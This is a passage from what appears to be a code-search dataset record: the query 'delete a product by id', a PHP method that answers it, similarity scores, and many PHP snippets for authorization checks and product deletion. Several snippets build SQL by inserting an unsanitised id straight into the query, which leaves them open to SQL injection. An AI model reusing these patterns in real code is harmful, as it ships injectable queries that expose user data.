(empty($this->userIdentifier)) {\n #yes 403 - 401 is not appropriate for X509 authentication\n $this->exceptionWithResponseCode(403,\n \"You need to be authenticated to access this resource. \" .\n \"Please provide a valid IGTF X509 Certificate\"\n );\n }\n }", "public function authorize()\n {\n return auth()->check(); \n }", "protected function authenticated() \n {\n \n if (\\Auth::check()) {\n return redirect()->route('eventmie.welcome');\n }\n }", "public function authorize()\n {\n if(! Auth::check())\n return false;\n return true;\n\n }", "function isLoggedIn()\n{\n\treturn auth()->check();\n}", "public function authorize()\n {\n if (Auth::check()) {\n return true;\n }else{\n return false;\n }\n }", "function authorize($request) {\n return $this->Session->get('auth-valid');\n }", "public function authorize()\n {\n return auth()->check();\n }", "public function authorize()\n {\n return auth()->check();\n }", "public function authorize()\n {\n return auth()->check();\n }", "public function authorize()\n {\n return auth()->check();\n }", "public function authorize()\n {\n return auth()->check();\n }", "public function authorize()\n {\n return auth()->check();\n }", "public function authorize()\n {\n return auth()->check();\n }", "public function authorize()\n {\n return auth()->check();\n }", "public function authorize()\n {\n return auth()->check();\n }", "public function authorize()\n {\n return auth()->check();\n }", "public function authorize()\n {\n return auth()->check();\n }", "public function authorize()\n {\n return auth()->check();\n }", "public function authorize()\n {\n return auth()->check();\n }", "public function authorize()\n {\n return auth()->check();\n }", "public function authorize()\n {\n return auth()->check();\n }", "public function authorize()\n {\n return auth()->check();\n }", "public function authorize()\n {\n return auth()->check();\n }", "public function authorize()\n {\n return auth()->check();\n }", "public function authorize()\n {\n return auth()->check();\n }", "public function authorize()\n {\n return auth()->check();\n }", "public function authorize()\n {\n return auth()->check();\n }", "public function authorize()\n {\n return auth()->check();\n }", "public function authorize()\n {\n return auth()->check();\n }", "public function authorize()\n {\n return auth()->check();\n }", "public function authorize()\n {\n return auth()->check();\n }", "public function authorize()\n {\n return auth()->check();\n }", "public function authorize()\n {\n return auth()->check();\n }", "public function authorize()\n {\n return auth()->check();\n }", "public function authorize()\n {\n return auth()->check();\n }", "public function authorize()\n {\n return auth()->check();\n }", "public function authorize()\n {\n return auth()->check();\n }", "public function authorize()\n {\n return auth()->check();\n }", "public function authorize()\n {\n return auth()->check();\n }", "public function authorize()\n {\n return auth()->check();\n }", "public function authorize()\n {\n return auth()->check() ? true : false;\n }", "public function authorize()\n {\n return auth()->check() ? true : false;\n }", "public function isAuthenticated()\n\t{\n\t\treturn $this->authenticated;\n\t}", "public function authorize()\n\t{\n\t\t// Nutzern akzeptiert werden\n\t\tif(Auth::check())\n\t\t{\n\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t}" ]
[ "0.8199161", "0.8199161", "0.8199161", "0.8199161", "0.8110874", "0.80668837", "0.79985005", "0.790323", "0.790323", "0.79012674", "0.7859267", "0.7859267", "0.7853783", "0.7678001", "0.76196367", "0.7555636", "0.7535029", "0.7485264", "0.7465563", "0.7439897", "0.74392545", "0.7425537", "0.73695546", "0.7367641", "0.7366886", "0.7320083", "0.7299456", "0.72752273", "0.72423106", "0.72423106", "0.72423106", "0.72357523", "0.72256124", "0.7222994", "0.7212579", "0.71997833", "0.71938175", "0.7192717", "0.71881956", "0.71824193", "0.7167205", "0.716366", "0.71332276", "0.71332276", "0.71299154", "0.7106398", "0.71040326", "0.7080227", "0.70695984", "0.7059067", "0.7057199", "0.7056339", "0.70355546", "0.70351297", "0.70218486", "0.7021218", "0.7016336", "0.70122194", "0.70110834", "0.7002349", "0.6996137", "0.6995628", "0.6993656", "0.6993656", "0.69827116", "0.69827116", "0.69827116", "0.69827116", "0.69827116", "0.69827116", "0.69827116", "0.69827116", "0.69827116", "0.69827116", "0.69827116", "0.69827116", "0.69827116", "0.69827116", "0.69827116", "0.69827116", "0.69827116", "0.69827116", "0.69827116", "0.69827116", "0.69827116", "0.69827116", "0.69827116", "0.69827116", "0.69827116", "0.69827116", "0.69827116", "0.69827116", "0.69827116", "0.69827116", "0.69827116", "0.69827116", "0.69773763", "0.69773763", "0.6976602", "0.6976122" ]
0.73136955
26
delete a product by id
public function delete() { $this->isAuthenticated(); $this->authToken->isRequestLimitExceeded(); $this->authToken->logRequest(1); //get the id from the user $data = $_POST; //set the id $this->product->id = array_values($data)[0]; if ($this->product->delete()) { // set response code - 200 ok http_response_code(200); echo json_encode(array("message" => "Product was deleted.")); } // if unable to update the product else { // set response code - 503 service unavailable http_response_code(503); echo json_encode(array("message" => "Unable to delete.")); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function delete_product_item($id){\n $this->delete($id);\n }", "public function delete($id){\n\t\t$this->db->where('id', $id)\n\t\t\t\t ->delete('products');\n\t}", "public function delete($id)\n {\n \n \n \n $result = $this->database->product_delete($id);\n\n return $result;\n }", "public function removeProduct($id){\r\n $stmt = $this->DB->prepare ( \"DELETE FROM products WHERE Product_ID = '$id';\");\r\n $stmt->execute ();\r\n }", "public function actionDelete($id) {\n $uProduct = Product::model()->findByPk($id);\n $uProduct->delete();\n echo 200;\n }", "public function deleteProduct($id)\n {\n\n $this->db->connect();\n $sql = \"DELETE FROM $this->table WHERE id = ?;\";\n\n $this->db->execute($sql, [$id]);\n }", "function deleteProduct($id)\r\n {\r\n $sql = \"DELETE FROM tbl_ecommerce WHERE id_products='\" . $id . \"'\";\r\n $stmt = $this->connect()->query($sql);\r\n if (!$stmt) {\r\n echo \"Something wrong in the binding process. sql error?\";\r\n exit();\r\n } else {\r\n echo \"Delete Successful\";\r\n }\r\n }", "public function delete() {\n if (!$this->customer->isLogged()) {\n die();\n }\n $product_id = $this->request->post['product_id'];\n $this->load->model('catalog/product');\n\n $this->model_catalog_product->deleteProduct($product_id);\n\n echo \"ok\";\n exit();\n\n }", "public function deleteProduct($id)\n {\n $this->isAdmin();\n\n $pattern = 'adminProduct';\n $this->isReferer($pattern);\n\n $messageModel = new ProductModel();\n\n if ($messageModel->deleteEntityById($id)) {\n\n $commentModel = new CommentModel();\n\n $commentModel->deleteComments($id);\n\n FileCache::deleteCache(CACHE_DIRECTORY);\n\n if (file_exists(SITE_DIR . \"/webroot/uploads/{$id}.jpg\")) {\n\n unlink(SITE_DIR . \"/webroot/uploads/{$id}.jpg\");\n\n }\n\n Session::set('admin-success', 'Товар удален');\n\n header(\"Location: $pattern\");\n die();\n\n } else {\n\n Session::set('admin-warning', 'Произошла ошибка');\n\n header(\"Location: $pattern\");\n die();\n }\n }", "public function delete($id) {\n $product = Product::find($id);\n return $product->delete();\n }", "function delete($id) {\n\t\t$delete = new Product();\n\t\t# load the page with the id from the url\n\t\t$delete->load($id);\n\t\t# send and update query that does a soft delete\n\t\t$delete->delete();\n\t\t# go back to the shop page\n\t\tURL::redirect('/shop');\n\t}", "public function product_delete()\n\t\t\t\t{\n\t\t\t\t}", "public function destroy($id)\n {\n //\n\n\n $product = App\\Product::find($id);\n\n $product->delete();\n }", "public function deleteProduct( $id ) {\n\t\treturn $this->requester->request('DELETE', $this->url . '/' . $id);\n\t}", "public function delete($id)\n {\n return Product::destroy($id);\n }", "public function destroy($id)\n {\n $product = DB::table('products')->where('id', $id)->first();\n DB::table('products')->where('id', $id)->delete();\n }", "public static function delete($id) {\n $id = intval($id);\n $SQL = 'DELETE FROM product WHERE product_id = ?;';\n $prep = DataBase::getInstance()->prepare($SQL);\n return $prep->execute([$id]);\n }", "public function deleteProduct(Product $product);", "public function delete($id)\n {\n try{\n $product=Product::findorfail($id);\n $product->delete();\n Session()->put('product_success','محصول با موفقیت حذف شد');\n return redirect('/products');\n }\n catch (\\Exception $m){\n Session()->put('product_error','خطایی در حذف به وجود آمده لطفا مجددا تلاش کنید');\n return redirect('/products');\n }\n }", "function deleteProducto($id)\n{\n\t$con = getDBConnection();\n\t$sql = \"DELETE FROM productos WHERE id = :id\";\n\t$stmt = $con->prepare($sql);\n\t$stmt->bindParam(':id', $id);\n\t$stmt->execute();\n}", "public function destroy($id){\n Product::where('id',$id)->delete();\n return \"deleted successfully\";\n }", "public static function deleteByProduct(int $id): void\n\t{\n\t\tif ($id <= 0)\n\t\t{\n\t\t\treturn;\n\t\t}\n\n\t\t$conn = Main\\Application::getConnection();\n\t\t$helper = $conn->getSqlHelper();\n\t\t$conn->queryExecute(\n\t\t\t'delete from ' . $helper->quote(self::getTableName())\n\t\t\t. ' where ' . $helper->quote('PRODUCT_ID') . ' = ' . $id\n\t\t);\n\t\tunset($helper, $conn);\n\t}", "public static function delete_product($id)\n {\n echo $id;\n $cart = session()->get('cart');\n if(isset($cart[$id])) {\n unset($cart[$id]);\n session()->put('cart', $cart);\n }\n session()->flash('success', 'Product removed successfully');\n\n return redirect()->back();\n\n }", "public function eliminarProducto($id){\n $con= new conectar();\n $conexion= $con->conexion();\n $sql=\"DELETE from producto WHERE id='$id'\";\n return $result= mysqli_query($conexion, $sql);\n }", "public function deleteProduct($id) {\n $product = Product::find($id);\n $product->delete();\n return redirect('/manage-product')->with('message','Successfully Deleted');\n }", "public function deleteProduct($id, $request)\n {\n unset($this->cart[$id]);\n $this->saveCart($request);\n }", "public function delete( $id=NULL ){\n\t\tif( is_null( $id ) ){\n\t\t\treturn $this->productNotFound();\t\n\t\t}\n\t\t\n\t\tif( $this->product_model->delete( $id ) ){\n\t\t\t$this->contentData['message'] = 'Product deleted.';\n\t\t\treturn $this->index();\n\t\t} else {\n\t\t\t$this->contentData['message'] = 'Unable to delete.';\n\t\t\treturn $this->edit( $id );\n\t\t}\n\t}", "public function destroy($id)\n {\n \t$id = preg_replace ( '#[^0-9]#', '', $id );\n if(!empty($id) && $this->p->where('pro_id', $id)->delete()){\n \treturn response()->json([\n \t\t\t'STATUS' => true,\n \t\t\t'MESSAGE' => 'Product was deleted',\n \t\t\t'CODE' => 200\n \t], 200);\n }else {\n \treturn response()->json([\n \t\t\t\t\t\t\t\t'STATUS'=> false,\n \t\t\t\t\t\t\t\t'MESSAGE' => 'Not Found',\n \t\t\t\t\t\t\t\t'CODE'=> 400\n \t\t\t \t], 200);\n }\n \n \n \n }", "public function destroy($id)\n {\n $product = Product::findOrFail($id);\n $product->delete();\n }", "function delete_product($product_id) {\r\n $params = array(array('name' => ':product_id', 'value' => &$product_id),\r\n array('name' => ':res', 'value' => &$result));\r\n $conn = $this->db->conn_id;\r\n $stmt = oci_parse($conn, \"begin :res := product_actions.delete_product(:product_id); end;\");\r\n\r\n foreach ($params as $variable)\r\n oci_bind_by_name($stmt, $variable[\"name\"], $variable[\"value\"]);\r\n\r\n oci_execute($stmt);\r\n return $result;\r\n }", "public function destroy($id)\n {\n $res=Product::where('id',$id)->delete();\n \n \n }", "function deleteProduct()\n\t{\n\t\t$id=(int)$_GET['prodid'];\n\t\t\n\t\t$sql='delete from products_table where product_id ='.$id;\n\t\t\n\t\t$obj=new Bin_Query();\n\t\t\n\t\tif($obj->updateQuery($sql))\n\t\t{\t\n\t\t\treturn '<div class=\"success_msgbox\">Product Deleted Successfully</div>';\t\n\t\t}\t\n\t}", "public function refuseProductAction($id){\r\n \r\n $em=$this->getDoctrine()->getManager();\r\n $product=$em->getRepository('HologramBundle:Product')->find($id);\r\n $em->remove($product);\r\n $em->flush();\r\n \r\n return $this->redirectToRoute('esprit_hologram');\r\n }", "public function delete($id) {\r\n\r\n //product id \r\n $this->Opportunity_model->delete($id);\r\n redirect('admin/opportunities');\r\n }", "public function deleteProduct($id)\n {\n $delete=DB::table('products')\n ->where('id', $id)\n ->first();\n $photo=$delete->product_image;\n unlink($photo);\n $dltprod=DB::table('products')\n ->where('id', $id)\n ->delete();\n if($dltprod){\n $notification=array(\n 'message'=>'PRODUCT DELETED!!',\n 'alert-type'=>'error'\n );\n return Redirect()->route('all.product')->with($notification);\n }else{\n $notification=array(\n 'message'=>'ERROR!!!',\n 'alert-type'=>'error'\n );\n return Redirect()->back()->with($notification);\n }\n }", "public function destroy($id)\n {\n $product = Products::find(intval($id));\n if($product->delete()){\n echo 1;\n }else{\n echo 0;\n }\n }", "public function deleteAction($id) {\n\t\t\n\t\t$em = $this->getDoctrine()->getManager();\n\t\t// Recogemos el repositorio\n\t\t$product =$em->getRepository('AppBundle:Product')->find($id);\n\t\t// comprobamos que exista el producto.\n\t\tif(!$product) {\n\t\t\tthrow $this->createNotFoundException(\n\t\t\t\t\t'No existe el producto con el id '.$id\n\t\t\t\t\t);\n\t\t}\n\t\t// eliminamos el producto.\n\t\t$em->remove($product);\n\t\t$em->flush();\n\t\t\n\t\treturn $this->render('product/deleteProduct.html.twig', array('product' => $product));\n\t}", "public function deleteAction() {\n\n $id = (int) $this->getRequest()->getParam('id');\n\n try {\n $this->_productMapper->delete($id);\n $this->_flashMessenger->addMessage(array('info' => 'Produkt byl úspěšně smazán.'));\n } catch (Exception $e) {\n $this->_flashMessenger->addMessage(array('error' => 'Při pokusu o smazání došlo k chybě!<br />' . $e->getMessage()));\n }\n $module = $this->getRequest()->getModuleName();\n $controller = $this->getRequest()->getControllerName();\n $this->_redirect($module . '/' . $controller);\n }", "public function destroy($id)\n {\n $product = Product::find($id);\n\n if($product->image){\n $uploadsFolder = 'public' . DIRECTORY_SEPARATOR . 'uploads' . DIRECTORY_SEPARATOR . 'products';\n Storage::delete($uploadsFolder.\"/\".$product->image);\n }\n\n $product->delete();\n\n $product->shops()->sync([]);\n\n return Redirect::to(route('admin.product.index'));\n }", "public function destroy($id)\n {\n //\n $product = Product::find($id);\n if ($product){\n $product->delete();\n return response(\"Producto eliminado con exito\",200);\n }else{\n return response(\"No existe ningun producto con el id mencionado\",400);\n }\n }", "public function deleteProductAction()\n {\n $id = $_GET['id'];\n $productManager = new ProductManager();\n $productManager->deleteProduct($id);\n header('Location: index.php?section=admin&page=adminproducts');\n }", "public function deleteProduct($id){\n\t\t$getImgSql = \"SELECT * FROM tbl_product WHERE pid='$id'\";\n\t\t$getimg = $this->db->select($getImgSql);\n\t\tif ($getimg) {\n\t\t\twhile ($rows = $getimg->fetch_assoc()) {\n\t\t\t\t$delimg = $rows['image'];\n\t\t\t\tunlink($delimg);\n\t\t\t}\n\t\t}\n\t\t//query for delete all info from product table\t\n\t\t$sql = \"DELETE FROM tbl_product WHERE pid='$id'\";\n\t\t$result = $this->db->delete($sql);\n\t\tif ($result) {\n\t\t\t$msg = \"<span class='success'>Product Successfully Deleted !.</span>\";\n\t\t\treturn $msg;\n\t\t}else{\n\t\t\t$msg = \"<span class='error'>Failed to Delete.</span>\";\n\t\t\treturn $msg;\n\t\t}\n\t}", "function delete_product($product_id)\r\n\t{\r\n\t\t$this->db->delete('tbl_product', array('product_id' => $product_id));\t\t\r\n\t\treturn 1;\t\t\r\n\t}", "public function delete($id)\n {\n Product::find($id)->delete();\n return back()->with('error','Product Deleted');\n }", "public function destroy($id_product)\n {\n Products::whereId_product($id_product)->delete();\n // echo json_encode(['sukses'=>'SUkses bro']);\n }", "public function productDelete($id)\n {\n $deleteProduct=Products::find($id)->delete();\n return redirect()->back();\n }", "public function delete(){\n $this->product->id = $_GET['delete_id'];\n\n // delete the product\n if($this->product->delete()){\n echo \"<div class=\\\"alert alert-success alert-dismissable\\\">\";\n echo \"<button type=\\\"button\\\" class=\\\"close\\\" data-dismiss=\\\"alert\\\" aria-hidden=\\\"true\\\">&times;</button>\";\n echo \"Object was deleted.\";\n echo \"</div>\";\n }\n\n // if unable to delete the product\n else{\n echo \"<div class=\\\"alert alert-danger alert-dismissable\\\">\";\n echo \"<button type=\\\"button\\\" class=\\\"close\\\" data-dismiss=\\\"alert\\\" aria-hidden=\\\"true\\\">&times;</button>\";\n echo \"Unable to delete object.\";\n echo \"</div>\";\n }\n }", "public function destroy($id)\r\n {\r\n $product = Product::findOrFail($id);\r\n $product->delete();\r\n Session::flash('success', \"Delete successfully!!!\");\r\n return redirect(\"admin/product\");\r\n }", "public function destroy($id)\n {\n $product = Product::find($id);\n\n \n $name = Product::where('id_product', $id)->pluck('name');\n \n Product::find($id)->delete();\n\n return back()->with('info', 'Producto '. $name[0].' eliminada correctamente' );\n }", "public function deleteAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n $aem = $this->get('morus_accetic.entity_manager'); // Get Accetic Entity Manager from service\n $entity = $aem->getProductRepository()->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Product entity.');\n }\n\n $em->remove($entity);\n $em->flush();\n\n return $this->redirect($this->generateUrl('morus_accetic_inventory'));\n }", "public function destroy($id)\n {\n $product=Product::find($id);\n GlobalController::upload([\n 'file'=>'',\n 'path'=>'products',\n 'delete_file'=>$product->product_image,\n 'upload_type'=>'single'\n ]);\n $product->delete();\n return redirect('/admin/product')->with('success','Product deleted successfully');\n }", "public function destroy($id)\n {\n $deleteProduct = Product::find($id);\n \n //get product's image name\n $productImageName = $deleteProduct->images()->first()->image_name;\n\n\n if($productImageName != 'noimage.jpg'){\n Storage::delete('public/products/'. $productImageName); //delete image from storage\n }\n\n $deleteProduct->images()->delete(); //delete all images related to this product\n $deleteProduct->comments()->delete(); //delete all comments related to this product\n $deleteProduct->tags()->detach(); //delete all tags related to this product\n\n $deleteProduct->delete(); //and in final step, delete the product itself\n\n return redirect('admin/products')->with('status', \"محصول با موفقیت حذف شد.\");\n }", "function deleteRecord($id){\n global $db;\n\n $sql = \"DELETE FROM products WHERE id = $id\";\n Basic::EventLog(\"Products->deleteRecord: \".$sql);\n //Basic::EventLogDB(\"Usuario eliminado - UID:\".$f['uid'].\", Modulo: \".$f['module'].\", Permiso: \".$f['perm']);\n $res =& $db->query($sql);\n return $res;\n }", "public function destroy($id)\n {\n $product=Products::findOrFail($id);\n if(file_exists($product->pro_image)){\n unlink($product->pro_image);\n }\n $product->delete();\n redirect('/product.create')->with(['error'=>'Product deleted Suceesfully']);\n }", "public function delete($id)\n {\n \\App\\Product::where('id', $id)->delete();\n return redirect()->back();\n }", "public function destroy($id)\n {\n $product = $this->product->find($id);\n\n $delete = $product->delete();\n\n if($delete)\n return redirect()->route('produtos.index');\n else\n return redirect()->route('produtos.show, $id')->with(['errors' => 'Falha ao deletar']);\n /*$prod = $this->product->find(3);\n $delete = $prod->delete();\n if ($delete)\n return \"Produto excluido com sucesso\";\n else\n return 'O produto não foi excluido';*/\n }", "public function destroy($id)\n {\n dd('dsvhjkl');\n// $product= Product::find($id);\n// $product->delete();\n// return redirect()->route('backend.product.index');\n }", "public function destroy($id)\n {\n $product = Product::find($id);\n $product->delete();\n return \"Product is Deleted!\";\n }", "private function deleteProduct()\n {\n echo PHP_EOL;\n \n try\n {\n $productToDelete = $this->productDao->getByEan(self::PRODUCT_TURKEY_EAN);\n $resultOfDelete = $this->productDao->delete($productToDelete); \n\n echo 'Product with id: ' . $productToDelete->id . ' was deleted ' .\n (($resultOfDelete) ? '' : 'un') .\n 'successfuly!' . PHP_EOL; \n }\n catch (Exception $e)\n {\n echo $e->getMessage();\n }\n }", "function delete($product)\n {\n if (array_key_exists($product->id, $this->items)) {\n $storeProductDelete = $this->items[$product->id];\n //giam tien\n $this->totalPrice -= $storeProductDelete['price'];\n //giam so luong\n $this->totalQuantity -= $storeProductDelete['quantity'];\n // xoa phan tu o vi tri $product->id\n unset($this->items[$product->id]);\n }\n }", "public function destroy($id)\n {\n $product = Product::findOrfail($id);\n\n \n if (!is_null($product)) {\n if (is_array($product->image) || is_object($product->image))\n {\n foreach(json_decode($product->image) as $image){\n //delete productimage\n if(File::exists(public_path('upload/product/' . $image))){\n File::delete(public_path('upload/product/' . $image));\n\n }else{\n dd('File does not exists.');\n }\n }\n }\n\n $product->delete();\n }\n Toastr::success('Product deleted successfully :)','Success');\n return back();\n\n }", "public function destroy($id)\n {\n //\n $fields['active_status'] = 0;\n $product = Product::find($id);\n $product->update($fields);\n return redirect('account/dashboard/my-products')->with('success_message','Product Deleted');\n }", "public function destroy($id)\n {\n try{\n DB::beginTransaction();\n $product = Product::find($id);\n if(!$product){\n return redirect()->route('product.index')->with(['error'=>'This product does not exist']);\n }\n foreach ($product->Color as $col)\n {\n foreach ($col->Size as $siz)\n {\n $siz->delete();\n }\n try {\n unlink(base_path('/public/dashboard/images/' . $col->product));\n unlink(base_path('/public/dashboard/images/' . $col->after));\n }catch (\\Exception $e){}\n\n $col->delete();\n }\n $product->delete();\n DB::commit();\n return redirect()->route('product.index')->with(['success'=>'This product deleted successfully']);\n }catch (\\Exception $ex){\n DB::rollBack();\n return redirect()->route('product.index')->with(['error'=>'Error, Try again later']);\n }\n }", "public function deleteProduct(Request $request , $id)\n {\n\n $deleteProduct =Product::find($id);\n // dd($deleteUser);\n $deleteProduct->delete();\n return redirect()->back();\n }", "public function destroy($id)\n {\n $product = product :: find($id);\n $product->delete();\n return redirect('/products')->with ('flash_message_success','Delete successfully');\n }", "public function deleteProductv($id)\n {\n $products=Productvariation::where('variation_id',$id)\n ->update(['deleted'=>1]);\n \n return response()->json(['success'=>'Record has been deleted!']);\n \n }", "public function putDelete($id)\n {\n if( $this->checkUsage($id) )\n {\n $error_message = array('errorMsg' => 'This product cannot be deleted, because it has been used in a transaction.\n Please set to inactive if you no longer want to use this product.');\n return response()->json($error_message);\n }\n\n //delete related tables\n ProductVariant1::where('product_id', '=', $id)->delete();\n ProductVariant2::where('product_id', '=', $id)->delete();\n ProductVariant3::where('product_id', '=', $id)->delete();\n ProductVariant4::where('product_id', '=', $id)->delete();\n\n //delete main table\n Product::find($id)->delete();\n }", "public function delete($id)\n {\n $product=Product::where('id',$id)->first();//delete();\n \n $img_path = '../storage/app/public/image/product/'.$product->image1;\n\t\t\n\t\t$img_path2 = '../storage/app/public/image/'.$product->artist_img;\n\n\t\tif(File::exists($img_path)) {\n\t\t\tif($product->image1 != 'no_image.svg') {\n\t\t\t\tFile::delete($img_path);\n\t\t\t}\n\t\t}\n\t\tif(File::exists($img_path2)) {\n\t\t\tif($product->artist_img != 'default_profile.png') {\n\t\t\t\tFile::delete($img_path2);\n\t\t\t}\n\t\t}\n\n\t\tif($product->batting_status != 1){\n\t\t\t$reviews = Review::where('art_id',$id)->get();\n\n\t\t\tforeach($reviews as $review){\n\t\t\t\tReview_like::where('id',$review->id)->delete();\n\t\t\t}\n\n\t\t\tReview::where('art_id',$id)->delete();\n\n\t\t\tCart::where('product_id',$id)->delete();\n\t\t\t\n\t\t\tProduct::where('id',$id)->delete();\n\t\t}else{\n\t\t\treturn redirect() -> back() -> with('jsAlert', '삭제 하시려는 작품이 베팅중 입니다.');\n\t\t}\n\t\t\n\t\treturn redirect()->back();\n\t}", "public function destroy($id)\n {\n $product = Product::find($id);\n if($product){\n Helper::deleteImage($product->picture,'products');\n $product->delete();\n\n }\n \n return redirect('products'); //redirigir a ruta users\n }", "public function destroy($id)\n {\n //\n Product::where('id',$id)->delete();\n \\Session::flash('flash_message', 'Deleted product successfully.'); // dòng thêm vào \n return redirect()->route('products.index');\n }", "public function destroy($id) {\n\t\t$product = Product::find($id);\n\n\t\tStorage::delete($product->logo);\n\n\t\t$product->delete();\n\n\t\tsession()->flash('success', trans('admin.deleted_record'));\n\t\treturn redirect(aurl('products'));\n\t}", "public function destroy($id) {\n \n $product = $this->product->find($id);\n \n $delete = $product->delete();\n \n if($delete)\n return redirect()->route('produtos.index');\n else\n return redirect()->route('produtos.edit',$id)\n ->with(['errors' => 'não foi possivel deletar o item']);\n \n }", "public function actionDeleteProduct()\n\t{\n\t\t$model = OrderProduct::model()->findByPk($_POST['product_id']);\n\t\tif($model)\n\t\t\t$model->delete();\n\t}", "public function destroy($id)\n {\n $this->authorize('product.delete');\n DB::beginTransaction();\n\n try {\n DB::commit();\n // all good\n DB::table('product_service')->where('uuid',$id)->delete();\n toastr()->success('Data Berhasil di hapus', 'Sukses!');\n\n } catch (\\Exception $e) {\n DB::rollback();\n toastr()->error($e->getMessage(), 'Error');\n return redirect()->back();\n }\n }", "public static function delete($id)\n {\n //pegando nome da imagem a ser deletada do db\n $prod = Product::selectWhere($id);\n $prodImageName = $prod['prod_image'];\n\n //pegando caminho (path) para a imagem\n $filePath = 'img/prods/' . $prodImageName;\n\n //se o arquivo existir, deletar o mesmo\n if (file_exists($filePath)) {\n unlink($filePath);\n }\n }", "public function destroy($id)\n {\n try{\n $product = Product::find($id); //Se encuentra el producto que se desea eliminar\n $product->delete();\n Alert::success('Producto eliminado correctamente!!!'); \n return redirect('/products');\n } catch(QueryException $ex){\n //dd($ex->getMessage());\n Alert::warning('El producto no se puede eliminar'); \n return redirect('/products'); \n } \n }", "public function destroy($id)\n {\n // $product = Product::all()->find($id);\n // $product->delete();\n // return redirect()->route('main.index')->with('product_danger_status', 'Product Deleted');\n }", "public function destroy($id)\n {\n TipoItem::find($id)->delete();\n return response()->json(['success'=>'Product deleted successfully.']);\n }", "public function destroy($id)\n {\n $product = \\App\\Models\\Admin\\Product::findOrFail($id);\n\n\n\n if (empty($product)) {\n Flash::error('Product not found');\n\n return redirect(route('admin.products.index'));\n }\n\n // $this->productRepository->delete($id);\n\n $product->delete();\n Flash::success('Product deleted successfully.');\n\n return redirect(route('admin.products.index'));\n }", "public function actionDelete($id)\n {\n\t\tif(!$this->IsAdmin())\n\t\t{\n\t\t\treturn $this->render('error', ['name' => 'Not Found (#404)', 'message' => 'Puuduvad piisavad õigused.']);\n\t\t}\n\t\t$product = Product::findOne($id);\n if($product->cut_price > 0){\n\t\t\t$this->findModel($id)->delete();\t\t\t\n\t\t\treturn $this->redirect(['index']);\n\t\t} else {\t\t\n\t\t\t$this->findModel($id)->delete();\t\t\n\t\t\treturn $this->redirect(['/product']);\n\t\t}\n }", "public function destroy($id)\n {\n $tests= product::find($id);\n $tests->destroy($id); \n Session::flash('error','Record has been deleted');\n return redirect(\"admin/product\");\n }", "public function destroy($id)\n {\n $product = Product::find($id);\n if ($product->image) {\n unlink($product->image);\n $product->delete();\n }else{\n $product->delete();\n }\n }", "public function destroy($id)\n {\n $data = Product::where('id',$id)->first();\n $data->delete();\n return redirect()->route('kontak.index')->with('alert-success','Data berhasi dihapus!');\n }", "public function destroy($id)\n {\n //\n $delete = Product::find($id)->delete();\n return redirect()->route('products.index')\n ->with('success','Product deleted successfully');\n }", "public function destroy($id)\n {\n //\n $product = Product::find($id);\n $product->delete();\n return redirect('/admin/product');\n }", "public function destroy($id)\n {\n $product = Product::findOrFail($id);\n if($product->delete())\n return response()->json(['msg' => 'محصول مورد نظر حذف شد']);\n }", "public function destroy(Request $request, $id)\n {\n //die('sdfdsf');\n $product = Product::find($id); \n \n if($product->delete()){\n Session::flash('success','Product Delete successfully');\n }else{\n Session::flash('error','Please try again.');\n }\n // hard delete\n //DB::delete('delete from w_coin_index where coin_index_id = ?',[$id]);\n return \\Redirect::to('admin/products');\n }", "public function destroy($id)\n {\n $pd=Product::find($id); \n $pd->delete();\n return redirect('/product/index');\n }", "public function destroy($id)\n {\n $product = Product::find($id);\n $product->auto_categories()->sync([]);\n Storage::delete($product->img);\n $product->delete();\n return redirect()->route('products.index')->with('success','Tovar o`chirildi');\n }", "public function destroy($id)\n {\n $product = Product::find($id);\n $file_name_01 = 'storage/'.$product->img_one;\n unlink($file_name_01);\n if ($product->img_two != '') {\n $file_name_02 = 'storage/'.$product->img_two;\n unlink($file_name_02);\n }\n if ($product->img_three != '') {\n $file_name_03 = 'storage/'.$product->img_three;\n unlink($file_name_03);\n }\n $db = $product->delete();\n if ($db) {\n session()->flash('message','Product deleted!');\n return back();\n }\n }", "public function destroy($id)\n {\n $product = Product:: find($id);\n $product->delete();\n return redirect()->route('products')->with('flash_success_message','Product Deleted Successfully!!');\n }", "public function destroy($id)\n {\n $attributeValueAssoc=DB::table('product_attribute_assocs')->where('product_id', $id)->get();\n foreach($attributeValueAssoc as $attributeValue)\n {\n $deleteAttributeValue=DB::delete('delete from product_attribute_values where id=?',[$attributeValue->product_attribute_value_id]);\n }\n Product::destroy($id);\n return redirect('admin/products')->with('flash_message', 'Product deleted!');\n }", "public function destroy($id)\n {\n $delete = Product::where(\"id\", $id)->first();\n $img = $delete->image;\n if($img){\n unlink('backend/assets/images/products/'.$img);\n $delete->delete();\n toast('Product Deleted Successfully','success');\n return redirect()->route('index.product');\n }else{\n return redirect()->route('index.product');\n toast('Product Not Deleted','success');\n }\n }", "public function destroy($id)\n {\n $TipoDocumento = tdocumentos::where('tdocumentos_codigo','=',$id)->get();\n $TipoDocumento->delete();\n\n\n return response()->json('Product Deleted Successfully.');\n }", "public function destroy($id)\n {\n \t// Find image name\n \t$image = Product::find($id);\n \t$one = $image->thumbnail_image;\n \t$two = $image->image_one;\n $three = $image->image_two;\n \n \t$del = unlink(public_path('backend/img/product/').$one);\n \t$del = unlink(public_path('backend/img/product/').$two);\n \t$del = unlink(public_path('backend/img/product/').$three);\n\n \t$Delete = Product::find($id)->delete();\n \t// Confirm Message\n \tif ($del && $Delete) {\n $notification = array(\n 'message' => 'Product deleted successfull !',\n 'alert-type' => 'success'\n );\n return redirect()->route('admin.product.index')->with($notification);\n }\n }", "public function delete( $id );", "public function delete_product()\n {\n\t $product_id = (int)$this->uri->segment(4);\n\t //dump($product_id);\n\t \n\t $query = $this->Product_model->delete_product($product_id);\n\t if($query){\n\t\t \n\t\t redirect('admin/Dashboard/product');\n\t\t \n\t } else {\n\t\t\t \n\t\t echo 'error';\n\t\t\t \n\t }\t \n\t \n }", "public function destroy($id)\n {\n //\n $pro=Products::find($id);\n if($pro->user_id!==auth()->user()->id){\n return redirect('/products')->with('error','Unauthorized Page');\n }\n foreach(explode('|',$pro->images) as $img){\n $filename='./images/'.$img;\n File::delete($filename);\n }\n $pro->delete();\n\n return redirect('/products')->with('success','Success! Product has been deleted.');\n }", "function delete()\n {\n $product_id =(int) $this->getProductId();\n if(!$product_id){\n return false;\n }\n \n $vdo = vpdo::getVdo(DB_PREFIX . $this->wid);\n\n $vdo->exec('delete from word_relation where product_id = '. $product_id);\n 